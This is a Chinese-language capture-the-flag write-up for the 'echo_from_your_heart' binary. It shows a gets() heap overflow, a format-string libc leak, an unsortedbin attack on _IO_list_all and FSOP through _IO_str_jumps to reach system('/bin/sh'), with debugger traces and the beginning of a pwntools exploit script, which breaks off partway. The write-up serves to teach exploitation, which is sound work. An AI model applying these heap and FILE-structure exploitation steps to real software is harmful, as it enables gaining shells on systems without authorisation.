解题思路
Libc2.24解法
安全机制检查
healer@healer-virtual-machine:~/Desktop/echo_from_your_heart$ readelf -h echo_from_your_heart
ELF Header:
Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
Class: ELF64
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: DYN (Shared object file)
Machine: Advanced Micro Devices X86-64
Version: 0x1
Entry point address: 0x9c0
Start of program headers: 64 (bytes into file)
Start of section headers: 4512 (bytes into file)
Flags: 0x0
Size of this header: 64 (bytes)
Size of program headers: 56 (bytes)
Number of program headers: 9
Size of section headers: 64 (bytes)
Number of section headers: 27
Section header string table index: 26
healer@healer-virtual-machine:~/Desktop/echo_from_your_heart$ checksec echo_from_your_heart
[*] '/home/healer/Desktop/echo_from_your_heart/echo_from_your_heart'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
分析利用过程
漏洞分析
触发_int_free()
创造free chunk
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
signed int v3; // ebx
unsigned int length; // eax
void *v5; // rbp
v3 = 5;
init_AB0(a1, a2, a3);
puts("echo from your heart");
do
{
__printf_chk(1LL, "lens of your word: ");
length = getinpt_AF0();
if ( length > 0x1000 )
{
puts("too long");
exit(1);
}
v5 = malloc(length); // 申请内存大小为输入的值,不能大于0x1000
__printf_chk(1LL, "word: ");
gets(v5); // 此处输入的字符数可以很大,没有长度限制,溢出
__printf_chk(1LL, "echo: ");
__printf_chk(1LL, v5);
putchar(10);
--v3;
}
while ( v3 );
return 0LL;
}
上面的get(v5)
函数存在堆溢出漏洞,考虑以此为入手点,但是此程序保护全开,需要泄漏地址,got表劫持可以考虑
通过利用格式化字符串漏洞泄漏出libc
的函数地址之后,构造UnsortedBin
之后发现在覆盖topchunk
之后再次申请出发sysmalloc()
函数的int_free()
时发现会触发检测错误
这个检测过不了
assert ((old_top == initial_top (av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse (old_top) &&
((unsigned long) old_end & (pagesize - 1)) == 0));
然后出现下面这种情况
pwndbg>
Program received signal SIGABRT, Aborted.
0x00007ffff7a42438 in __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:54
54 ../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────[ REGISTERS ]──────────────────────────────────
*RAX 0x0
*RBX 0x7ffff7dd1b20 (main_arena) ◂— 0x100000001
*RCX 0x7ffff7a42438 (raise+56) ◂— cmp rax, -0x1000 /* 'H=' */
*RDX 0x6
*RDI 0x23a0
*RSI 0x23a0
*R8 0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0
*R9 0x7ffff7fdd700 ◂— 0x7ffff7fdd700
*R10 0x8
*R11 0x246
*R12 0xfa0
*R13 0x5555557560a0 ◂— 0x0
*R14 0x1000
*R15 0x1000
*RBP 0xfd0
*RSP 0x7fffffffda28 —▸ 0x7ffff7a4403a (abort+362) ◂— mov rdx, qword ptr fs:[0x10]
*RIP 0x7ffff7a42438 (raise+56) ◂— cmp rax, -0x1000 /* 'H=' */
────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────
► 0x7ffff7a42438 <raise+56> cmp rax, -0x1000
0x7ffff7a4243e <raise+62> ja raise+96 <raise+96>
0x7ffff7a42440 <raise+64> ret
0x7ffff7a42442 <raise+66> nop word ptr [rax + rax]
0x7ffff7a42448 <raise+72> test ecx, ecx
0x7ffff7a4244a <raise+74> jg raise+43 <raise+43>
↓
0x7ffff7a4242b <raise+43> movsxd rdx, edi
0x7ffff7a4242e <raise+46> mov eax, 0xea
0x7ffff7a42433 <raise+51> movsxd rdi, ecx
0x7ffff7a42436 <raise+54> syscall
0x7ffff7a42438 <raise+56> cmp rax, -0x1000
─────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffda28 —▸ 0x7ffff7a4403a (abort+362) ◂— mov rdx, qword ptr fs:[0x10]
01:0008│ 0x7fffffffda30 ◂— 0x20 /* ' ' */
02:0010│ 0x7fffffffda38 ◂— 0x0
... ↓
───────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────
► f 0 7ffff7a42438 raise+56
f 1 7ffff7a4403a abort+362
f 2 7ffff7a8a2f8 __malloc_assert+104
f 3 7ffff7a8e436 sysmalloc+470
f 4 7ffff7a8f763 _int_malloc+3027
f 5 7ffff7a911d4 malloc+84
f 6 555555554947
f 7 7ffff7a2d840 __libc_start_main+240
───────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg>
b'echo: '
[DEBUG] Received 0xc4 bytes:
b'deadbeef0x7ffff7dd37800x7ffff7b043800x7ffff7fdd7000x6(nil)0x555555554b800x5555555549c00x7ffff7a2d840aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
[+] libc_start_mian -> 0x7ffff7a2d750
[+] /lib/x86_64-linux-gnu/libc-2.23.so (id local-ae799c0d270a8152908e5882bde6424c6693f7a3) be choosed.
0x7ffff7a0d000
[+] system_addr -> 0x7ffff7a523a0
[+] str_bin_sh_addr -> 0x7ffff7b99e17
[DEBUG] Received 0x1 bytes:
b'\n'
[DEBUG] Received 0x13 bytes:
b'lens of your word: '
[DEBUG] Sent 0x5 bytes:
b'4032\n'
[DEBUG] Received 0xe9 bytes:
b"echo_from_your_heart: malloc.c:2401: sysmalloc: Assertion `(old_top
== initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >=
MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end &
(pagesize - 1)) == 0)' failed.\n"
下面是IDA调试结果:
libc_2.23.so:00007FFFF7A8E400 loc_7FFFF7A8E400: ; CODE XREF: sub_7FFFF7A8E260+7Ej
libc_2.23.so:00007FFFF7A8E400 ; sub_7FFFF7A8E260+87j
libc_2.23.so:00007FFFF7A8E400 cmp r12, 1Fh # 此处校验请求的大小是否大于MINSIZE
libc_2.23.so:00007FFFF7A8E404 jbe short loc_7FFFF7A8E417
libc_2.23.so:00007FFFF7A8E406 test al, 1 # 检测最低位是否是1,就是pre_inuse位是否置位为1
libc_2.23.so:00007FFFF7A8E408 jz short loc_7FFFF7A8E417
libc_2.23.so:00007FFFF7A8E40A lea rax, [r15-1] # r15存储page大小
libc_2.23.so:00007FFFF7A8E40E test rdx, rax # rdx指向top chunk开始处堆的起始地址加上原有top chunk剩余的大小,即校验是否满足页对齐
# 其实就是看一看原来分配的正常的堆块是对齐的,现在使用过之后用到哪里了剩下多少,加起来还满不满足页对齐
libc_2.23.so:00007FFFF7A8E411 jz loc_7FFFF7A8E2ED # 此处如果跳转成功则可以继续执行
libc_2.23.so:00007FFFF7A8E417
libc_2.23.so:00007FFFF7A8E417 loc_7FFFF7A8E417: ; CODE XREF: sub_7FFFF7A8E260+1A4j
libc_2.23.so:00007FFFF7A8E417 ; sub_7FFFF7A8E260+1A8j
libc_2.23.so:00007FFFF7A8E417 lea rcx, aSysmalloc ; "sysmalloc" # 此处开始获取告警字符串存储的位置
libc_2.23.so:00007FFFF7A8E41E lea rsi, aMalloc_c ; "malloc.c"
libc_2.23.so:00007FFFF7A8E425 lea rdi, aOld_topInitial ; "(old_top == initial_top (av) && old_siz"...
libc_2.23.so:00007FFFF7A8E42C mov edx, 961h
libc_2.23.so:00007FFFF7A8E431 call near ptr unk_7FFFF7A8A290 # 此处触发告警信息并且导致程序结束
libc_2.23.so:00007FFFF7A8E436 db 2Eh
libc_2.23.so:00007FFFF7A8E436 nop word ptr [rax+rax+00000000h]
libc_2.23.so:00007FFFF7A8E440
根据上面的IDA动态调试发现,脚本程序构造的堆大小导致了页没有对齐,导致程序崩溃,无法继续利用
下面扩展一个GDB的调试结果,同样也是锁定报错的位置
pwndbg>
0x00007ffff7a8e40e 2398 in malloc.c
...
*RAX 0xfff
...
RDX 0x555555757000 ◂— 0x0 # 此时的RDX等于0x555555757000(即0x5555557560a0+0x0000000000000f60)
...
R15 0x1000
...
────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────
0x7ffff7a8e400 <sysmalloc+416> cmp r12, 0x1f # 此处校验请求的大小是否大于MINSIZE
0x7ffff7a8e404 <sysmalloc+420> jbe sysmalloc+439 <sysmalloc+439>
0x7ffff7a8e406 <sysmalloc+422> test al, 1 # 检测最低位是否是1,就是pre_inuse位是否置位为1
0x7ffff7a8e408 <sysmalloc+424> je sysmalloc+439 <sysmalloc+439>
0x7ffff7a8e40a <sysmalloc+426> lea rax, [r15 - 1]
► 0x7ffff7a8e40e <sysmalloc+430> test rdx, rax # 校验页对齐
0x7ffff7a8e411 <sysmalloc+433> je sysmalloc+141 <sysmalloc+141>
↓
0x7ffff7a8e2ed <sysmalloc+141> lea rax, [rbp + 0x20]
...
───────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────
► f 0 7ffff7a8e40e sysmalloc+430
f 1 7ffff7a8f763 _int_malloc+3027
f 2 7ffff7a911d4 malloc+84
f 3 555555554947
f 4 7ffff7a2d840 __libc_start_main+240
───────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> vis
...
0x5555557560a0 0x0000000000000000 0x0000000000000f61 ........a....... <-- Top chunk
起始地址 剩余大小
至此,再次附上sysmalloc
中的_int_free
的基本条件:
assert ((old_top == initial_top (av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse (old_top) &&
((unsigned long) old_end & (pagesize - 1)) == 0));
/* Precondition: not enough current space to satisfy nb request */
assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));
翻译过来就是—伪造的top_chunk
的size
要满足一下条件:
size
要大于MINSIZE
(MINSIZE
一般为0x20
)size
的pre_inuse
位要为1
old_top + size
得出来的地址要满足页对齐,也就是后三个16
进制位为0
,如0x632000
就满足页对齐- size要小于下一步申请的chunk的大小,或者说下一步再次请求时要触发
_int_free()
,所以malloc()
的大小要比这个size
大一点点
阶段成果
通过前期的构造,我们实现了触发_int_free()
函数,构造了一个free chunk
在堆空间中,为下一步的Unsortedbin Attack
创造了基本条件
利用get()
函数溢出发起Unsortedbin Attack
前面创造的free chunk
如下所示:
pwndbg> vis
0x555555756000 0x0000000000000000 0x00000000000000a1 ................
0x555555756010 0x6665656264616564 0x7024322570243125 deadbeef%1$p%2$p
0x555555756020 0x7024342570243325 0x7024362570243525 %3$p%4$p%5$p%6$p
0x555555756030 0x7024382570243725 0x6161616161616161 %7$p%8$paaaaaaaa
0x555555756040 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
...
0x555555756090 0x6161616161616161 0x0000000000000000 aaaaaaaa........
0x5555557560a0 0x0000000000000000 0x0000000000000f41 ........A....... <-- unsortedbin[all][0]
0x5555557560b0 0x00007ffff7dd1b78 0x00007ffff7dd1b78 x.......x.......
0x5555557560c0 0x0000000000000000 0x0000000000000000 ................
再次malloc(0x20)
之后得到
───────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> vis
0x555555756000 0x0000000000000000 0x00000000000000a1 ................
0x555555756010 0x6665656264616564 0x7024322570243125 deadbeef%1$p%2$p
0x555555756020 0x7024342570243325 0x7024362570243525 %3$p%4$p%5$p%6$p
0x555555756030 0x7024382570243725 0x6161616161616161 %7$p%8$paaaaaaaa
0x555555756040 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
...
0x555555756090 0x6161616161616161 0x0000000000000000 aaaaaaaa........
0x5555557560a0 0x0000000000000000 0x0000000000000031 ........1.......
0x5555557560b0 0x00007ffff7dd2188 0x00007ffff7dd2188 .!.......!......
0x5555557560c0 0x00005555557560a0 0x00005555557560a0 .`uUUU...`uUUU..
0x5555557560d0 0x0000000000000000 0x0000000000000f11 ................ <-- unsortedbin[all][0]
0x5555557560e0 0x00007ffff7dd1b78 0x00007ffff7dd1b78 x.......x.......
0x5555557560f0 0x0000000000000000 0x0000000000000000 ................
得到这个0x20
堆空间之后,利用get()
函数的溢出覆盖unsortedbin[all][0]
pwndbg> vis
0x555555756000 0x0000000000000000 0x00000000000000a1 ................
0x555555756010 0x6665656264616564 0x7024322570243125 deadbeef%1$p%2$p
0x555555756020 0x7024342570243325 0x7024362570243525 %3$p%4$p%5$p%6$p
0x555555756030 0x7024382570243725 0x6161616161616161 %7$p%8$paaaaaaaa
...
0x555555756090 0x6161616161616161 0x0000000000000000 aaaaaaaa........
0x5555557560a0 0x0000000000000000 0x0000000000000031 ........1.......
0x5555557560b0 0x6262626262626262 0x6262626262626262 bbbbbbbbbbbbbbbb
0x5555557560c0 0x6262626262626262 0x6262626262626262 bbbbbbbbbbbbbbbb
0x5555557560d0 0x0000000000000000 0x0000000000000061 ........a....... <-- unsortedbin[all][0]
0x5555557560e0 0x0000000000000000 0x00007ffff7dd2510 .........%......
0x5555557560f0 0x0000000000000002 0x0000000000000003 ................
0x555555756100 0x0000000000000000 0x00007ffff7b99e17 ................
0x555555756110 0x0000000000000000 0x0000000000000000 ................
0x555555756120 0x0000000000000000 0x0000000000000000 ................
0x555555756130: 0x0000000000000000 0x0000000000000000
0x555555756140: 0x0000000000000000 0x0000000000000000
0x555555756150: 0x0000000000000000 0x0000000000000000
0x555555756160: 0x0000000000000000 0x0000000000000000
0x555555756170: 0x0000000000000000 0x0000000000000000
0x555555756180: 0x0000000000000000 0x0000000000000000
0x555555756190: 0x0000000000000000 0x0000000000000000
0x5555557561a0: 0x0000000000000000 0x00007ffff7dd0798
0x5555557561b0: 0x0000000000000000 0x00007ffff7a523a0
0x5555557561c0: 0x0000000000000000 0x0000000000000000
可以发现从0x5555557560d0
开始,是我们构造的fake chunk
,具体为什么要这么构造,先放一放,后面在做解释,这里涉及到Unsortedbin Attack
的部分需要注意的是这段
0x5555557560d0 0x0000000000000000 0x0000000000000061 ........a....... <-- unsortedbin[all][0]
0x5555557560e0 0x0000000000000000 0x00007ffff7dd2510 .........%......
我们将原本的unsortedbin[all][0]
的堆块大小改为0x61
,将其BK
指向了_IO_list_all-0x10
的位置(即0x00007ffff7dd2510
)
再次执行malloc()
函数时,将触发Unsortedbin
的拆链,源码如下:
victim = unsorted_bin(av)->bk = p;
bck = victim->bk = target_addr - 0x10; // victim->bk is p->bk
unsorted_bin(av)->bk = bck;
bck->fd = unsorted_bin(av); // bck->fd is *(target_addr)
经过上面这几步之后,将_IO_list_all
修改成了指向main_arena+88
的值
单独观察堆中的值,在Unsortedbin
拆链之前(未被溢出覆盖时):
pwndbg> x/50xg 0x555555756000
...
0x5555557560a0: 0x0000000000000000 0x0000000000000031
0x5555557560b0: 0x00007ffff7dd2188 0x00007ffff7dd2188
0x5555557560c0: 0x00005555557560a0 0x00005555557560a0
0x5555557560d0: 0x0000000000000000 0x0000000000000f11
0x5555557560e0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
FD BK
0x5555557560f0: 0x0000000000000000 0x0000000000000000
0x555555756100: 0x0000000000000000 0x0000000000000000
pwndbg> x/30xg 0x7ffff7dd1b20+8
0x7ffff7dd1b28 <main_arena+8>: 0x0000000000000000 0x0000000000000000
...
0x7ffff7dd1b78 <main_arena+88>: 0x0000555555777f80 0x00005555557560d0
FD point to topchunk BK
0x7ffff7dd1b88 <main_arena+104>: 0x00005555557560d0 0x00005555557560d0
pwndbg> p _IO_list_all
$5 = (struct _IO_FILE_plus *) 0x7ffff7dd2540 <_IO_2_1_stderr_>
拆链之后:
pwndbg> x/50xg 0x555555756000
...
0x5555557560a0: 0x0000000000000000 0x0000000000000031
0x5555557560b0: 0x6262626262626262 0x6262626262626262
0x5555557560c0: 0x6262626262626262 0x6262626262626262
0x5555557560d0: 0x0000000000000000 0x0000000000000061
0x5555557560e0: 0x0000000000000000 0x00007ffff7dd2510
target_addr-0x10
0x5555557560f0: 0x0000000000000002 0x0000000000000003
0x555555756100: 0x0000000000000000 0x00007ffff7b99e17
0x555555756110: 0x0000000000000000 0x0000000000000000
pwndbg> x/30xg 0x7ffff7dd1b20+8
0x7ffff7dd1b28 <main_arena+8>: 0x0000000000000000 0x0000000000000000
...
0x7ffff7dd1b78 <main_arena+88>: 0x0000555555777f80 0x00005555557560d0
0x7ffff7dd1b88 <main_arena+104>: 0x00005555557560d0 0x00007ffff7dd2510
0x7ffff7dd1b98 <main_arena+120>: 0x00007ffff7dd1b88 0x00007ffff7dd1b88
pwndbg> p _IO_list_all
$6 = (struct _IO_FILE_plus *) 0x7ffff7dd1b78 <main_arena+88>
至此UnsortedbinAttack
的效果基本实现,成功修改了_IO_list_all
的值,但是在后面的malloc
函数中还完成了一个工作,那就是将刚刚我们构造的fake chunk
添加到smallbin[6]
中,源码如下:
if (in_smallbin_range (size))
{
victim_index = smallbin_index (size);// victim_index=6
bck = bin_at (av, victim_index);//bck=&av->bins[10]-0x10
fwd = bck->fd;
}
…
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;//old_top被加入av->bins[10]的链表中了。
bck->fd = victim;
观察修改之后堆空间的数据变化:
pwndbg> x/30xg 0x7ffff7dd1b20+8
0x7ffff7dd1b28 <main_arena+8>: 0x0000000000000000 0x0000000000000000
...
0x7ffff7dd1b78 <main_arena+88>: 0x0000555555777f80 0x00005555557560d0
0x7ffff7dd1b88 <main_arena+104>: 0x00005555557560d0 0x00007ffff7dd2510
0x7ffff7dd1b98 <main_arena+120>: 0x00007ffff7dd1b88 0x00007ffff7dd1b88
0x7ffff7dd1ba8 <main_arena+136>: 0x00007ffff7dd1b98 0x00007ffff7dd1b98
0x7ffff7dd1bb8 <main_arena+152>: 0x00007ffff7dd1ba8 0x00007ffff7dd1ba8
0x7ffff7dd1bc8 <main_arena+168>: 0x00007ffff7dd1bb8 0x00007ffff7dd1bb8
0x7ffff7dd1bd8 <main_arena+184>: 0x00005555557560d0 0x00005555557560d0
FD BK
0x7ffff7dd1be8 <main_arena+200>: 0x00007ffff7dd1bd8 0x00007ffff7dd1bd8
k可以发现,此时的<main_arena+88>+0x68
位置被修改成了0x00005555557560d0
(即指向fake chunk
的指针)
参照下图整理思路:
将<main_arena+88>处的数据按照_IO_FILE_plus
格式解析之后发现_chain
字段指向的是fake chunk
pwndbg> p *(struct _IO_FILE_plus *)0x7ffff7dd1b78
$7 = {
file = {
_flags = 1433894784,
_IO_read_ptr = 0x5555557560d0 "",
_IO_read_end = 0x5555557560d0 "",
_IO_read_base = 0x7ffff7dd2510 "",
_IO_write_base = 0x7ffff7dd1b88 <main_arena+104> "\320`uUUU",
_IO_write_ptr = 0x7ffff7dd1b88 <main_arena+104> "\320`uUUU",
_IO_write_end = 0x7ffff7dd1b98 <main_arena+120> "\210\033\335\367\377\177",
_IO_buf_base = 0x7ffff7dd1b98 <main_arena+120> "\210\033\335\367\377\177",
_IO_buf_end = 0x7ffff7dd1ba8 <main_arena+136> "\230\033\335\367\377\177",
_IO_save_base = 0x7ffff7dd1ba8 <main_arena+136> "\230\033\335\367\377\177",
_IO_backup_base = 0x7ffff7dd1bb8 <main_arena+152> "\250\033\335\367\377\177",
_IO_save_end = 0x7ffff7dd1bb8 <main_arena+152> "\250\033\335\367\377\177",
_markers = 0x5555557560d0,
_chain = 0x5555557560d0, # point to fake chunk
_fileno = -136504360,
_flags2 = 32767,
_old_offset = 140737351850968,
_cur_column = 7144,
_vtable_offset = -35 '\335',
_shortbuf = <incomplete sequence \367>,
_lock = 0x7ffff7dd1be8 <main_arena+200>,
_offset = 140737351851000,
_codecvt = 0x7ffff7dd1bf8 <main_arena+216>,
_wide_data = 0x7ffff7dd1c08 <main_arena+232>,
_freeres_list = 0x7ffff7dd1c08 <main_arena+232>,
_freeres_buf = 0x7ffff7dd1c18 <main_arena+248>,
__pad5 = 140737351851032,
_mode = -136504280,
_unused2 = "\377\177\000\000(\034\335\367\377\177\000\000\070\034\335\367\377\177\000"
},
vtable = 0x7ffff7dd1c38 <main_arena+280>
}
再看看我们之前构造的fake chunk
的结构,也解析成一个类似_IO_FILE_plus
结构体的样式
pwndbg> p *(struct _IO_FILE_plus *)0x5555557560d0
$8 = {
file = {
_flags = 0,
_IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>,
_IO_read_end = 0x7ffff7dd1bc8 <main_arena+168> "\270\033\335\367\377\177",
_IO_read_base = 0x7ffff7dd1bc8 <main_arena+168> "\270\033\335\367\377\177",
_IO_write_base = 0x2 <error: Cannot access memory at address 0x2>,
_IO_write_ptr = 0x3 <error: Cannot access memory at address 0x3>,
_IO_write_end = 0x0,
_IO_buf_base = 0x7ffff7b99e17 "/bin/sh",
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0,
_flags2 = 0,
_old_offset = 0,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x0,
_offset = 0,
_codecvt = 0x0,
_wide_data = 0x0,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = 0,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7ffff7dd0798
}
到此UnsortedBinAttack
的过程完毕
触发_IO_FILE漏洞的利用
上面的步骤是由脚本中的最后一个malloc(0x1)函数调用触发的,由于前期的堆空间的部署,导致我们劫持了_IO_list_all指针使其指向<main_arena+88>,将其视为_IO_FILE_plus结构体,其_chain
字段指向fake chunk
,即可实现文件结构利用。
实际上是由于在上面的UnsortedBin
整理完毕之后,分配新的空间的时候检测发现当前堆空间的size大小是0,故触发异常,实现调用链
malloc_printerr ==> __libc_message ==> abort ==> _IO_flush_all_lockp ==> __IO_overflow
最后解释为什么fake chunk
需要那样构造,此题目的环境是libc2.24
,此时不能再像之前的直接修改vtable
指针劫持函数,关于构造方法引用大佬的文章:
libc2.24 添加check 利用io_str_jumps
libc2.24
对vtable
做了一些限制约束,对 vtable
进行校验的函数是 IO_validate_vtable
:
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
/* Fast path: The vtable pointer is within the __libc_IO_vtables
section. */
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
const char *ptr = (const char *) vtable;
uintptr_t offset = ptr - __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}
vtable
必须要满足 在 __stop___IO_vtables
和 __start___libc_IO_vtable
s 之间,而我们伪造的vtable
通常不满足这个条件。
但是_IO_str_jumps
与__IO_wstr_jumps
就位于 __stop___libc_IO_vtables
和 __start___libc_IO_vtables
之间, 所以我们是可以利用他们来通过 IO_validate_vtable
的检测的,只需要将vtable
填成_IO_str_jumps
或__IO_wstr_jumps
就行。
利用方式两种:
- 利用
__IO_str_jumps
中的_IO_str_finsh
函数 - 利用
__IO_str_jumps
中的_IO_str_overflow
函数
如何确定io_str_jumps
地址?
由于 _IO_str_jumps
不是导出符号,libc.sym["_IO_str_jumps"]
查不到,我们可以利用 _IO_str_jumps
中的导出函数,例如 _IO_str_underflow
进行辅助定位,我们可以利用gdb
去查找所有包含这个_IO_str_underflow
函数地址的内存地址,如下所示
pwndbg> p _IO_str_underflow
$1 = {<text variable, no debug info>} 0x7f4d4cf04790 <_IO_str_underflow>
pwndbg> search -p 0x7f4d4cf04790
libc.so.6 0x7f4d4d2240a0 0x7f4d4cf04790
libc.so.6 0x7f4d4d224160 0x7f4d4cf04790
libc.so.6 0x7f4d4d2245e0 0x7f4d4cf04790
pwndbg> p &_IO_file_jumps
$2 = (<data variable, no debug info> *) 0x7f4d4d224440 <_IO_file_jumps>
可以通过_IO_str_jumps
的地址大于_IO_file_jumps
地址的条件,可以确定最后一个是符合_IO_str_jumps
的地址,_IO_str_underflow
在_IO_str_jumps
的偏移为0x20
,我们可以计算出_IO_str_jumps = 0x7f4d4d2245c0
,可以通过一下脚本实现这一过程(GLIBC 2.23、2.24
版本均测试通过):
IO_file_jumps_offset = libc.sym['_IO_file_jumps']
IO_str_underflow_offset = libc.sym['_IO_str_underflow']
for ref_offset in libc.search(p64(IO_str_underflow_offset)):
possible_IO_str_jumps_offset = ref_offset - 0x20
if possible_IO_str_jumps_offset > IO_file_jumps_offset:
print possible_IO_str_jumps_offset
break
io_str_finish
void _IO_str_finish (FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & 1))
((void (*)(void))fp + 0xE8 ) (fp->_IO_buf_base); // call qword ptr [fp+E8h]
fp->_IO_buf_base = NULL;
_IO_default_finish (fp, 0);
}
条件:
fp->_IO_buf_base为真
fp->_flags & 1 为假 // fp->_flags=0
即:
1. fp->_mode = 0
2. fp->_IO_write_ptr > fp->_IO_write_base
3. fp->_IO_read_ptr = 0x61 , smallbin4 + 8 (smallbin size)
4. fp->_IO_read_base = _IO_list_all -0x10 , smallbin -> bk, unsorted bin attack (以上为绕过_IO_flush_all_lockp的条件)
vtable = _IO_str_jumps - 8 ,这样调用_IO_overflow时会调用到 _IO_str_finish
5. fp->_flags= 0
6. fp->_IO_buf_base = binsh_addr
7. fp+0xe8 = system_addr
fp+E8
处填成system_addr
,还有 fp->_IO_buf_base
填上binsh_addr
地址主要是利用__IO_str_jumps
地址错位的方法,通过_IO_str_jumps - 8
来调用_IO_str_finish
(通过别的函数偏移可能不一样)
调用_IO_flush_all_lockp:
0x7ffff7a89194 <_IO_flush_all_lockp+356> mov rax, qword ptr [rbx + 0xd8]
► 0x7ffff7a8919b <_IO_flush_all_lockp+363> mov esi, 0xffffffff
0x7ffff7a891a0 <_IO_flush_all_lockp+368> mov rdi, rbx
0x7ffff7a891a3 <_IO_flush_all_lockp+371> call qword ptr [rax + 0x18]
调用_IO_str_finish:
► 0x7ffff7a89fb0 <_IO_str_finish> push rbx
0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi
0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38]
0x7ffff7a89fb8 <_IO_str_finish+8> test rdi, rdi
即将call _IO_str_finish:
► 0x7ffff7a89fc2 <_IO_str_finish+18> call qword ptr [rbx + 0xe8] <system>
调用system:
pwndbg> si
...
RDI 0x7ffff7b99e17 ◂— 0x68732f6e69622f /* '/bin/sh' */
...
*RIP 0x7ffff7a523a0 (system) ◂— test rdi, rdi
────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────
► 0x7ffff7a523a0 <system> test rdi, rdi
0x7ffff7a523a3 <system+3> je system+16 <system+16>
0x7ffff7a523a5 <system+5> jmp do_system <do_system>
↓
0x7ffff7a51e30 <do_system> push r12
0x7ffff7a51e32 <do_system+2> push rbp
0x7ffff7a51e33 <do_system+3> xor eax, eax
关于“/bin/sh”参数的偏移位置
RDX 0x0
RDI 0x5555557560d0 ◂— 0x0 # RDI point to fake chunk
RSI 0xffffffff
R8 0x4
R9 0x0
R10 0x8
R11 0x346
R12 0x7ffff7fdd700 ◂— 0x7ffff7fdd700
R13 0x0
R14 0x0
R15 0x0
RBP 0x0
RSP 0x7fffffffd800 —▸ 0x5555557560d0 ◂— 0x0
*RIP 0x7ffff7a89fb4 (_IO_str_finish+4) ◂— mov rdi, qword ptr [rdi + 0x38]
────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────
0x7ffff7a89fb0 <_IO_str_finish> push rbx
0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi
► 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38]
───────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg>
0x00007ffff7a89fb8 319 in strops.c
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────[ REGISTERS ]──────────────────────────────────
RAX 0x7ffff7dd0798 ◂— 0x0
RBX 0x5555557560d0 ◂— 0x0
RCX 0x7ffff7a42740 (sigprocmask+16) ◂— cmp rax, -0x1000 /* 'H=' */
RDX 0x0
*RDI 0x7ffff7b99e17 ◂— 0x68732f6e69622f /* '/bin/sh' */
RSI 0xffffffff
R8 0x4
R9 0x0
R10 0x8
R11 0x346
R12 0x7ffff7fdd700 ◂— 0x7ffff7fdd700
R13 0x0
R14 0x0
R15 0x0
RBP 0x0
RSP 0x7fffffffd800 —▸ 0x5555557560d0 ◂— 0x0
*RIP 0x7ffff7a89fb8 (_IO_str_finish+8) ◂— test rdi, rdi
────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────
0x7ffff7a89fb0 <_IO_str_finish> push rbx
0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi
0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38]
► 0x7ffff7a89fb8 <_IO_str_finish+8> test rdi, rdi
攻击脚本
from pwn import *
from LibcSearcher import *
context.log_level='debug'
context.terminal = ['terminator', '-x', 'sh', '-c']
# io = remote("220.249.52.134",59762)
io = process("./echo_from_your_heart")
elf = ELF("./echo_from_your_heart")
context(arch = "amd64", os = 'linux')
# libc = ELF("./libc-2.24.so")
libc = ELF("./libc-2.23.so")
gdb.attach(io,"b * $rebase(0x942)\nb * $rebase(0x984)")
def mian_fun(length,word):
io.recvuntil("lens of your word: ")
io.sendline(str(length))
io.recvuntil("word: ")
io.sendline(word)
def main():
payload = b"deadbeef" + b"%1$p%2$p%3$p%4$p%5$p%6$p%7$p%8$p" + b"a"*0x60 + 2*p64(0) + p64(0xf61)
mian_fun(0x90,payload)
io.recvuntil("deadbeef")
address_list = io.recv()
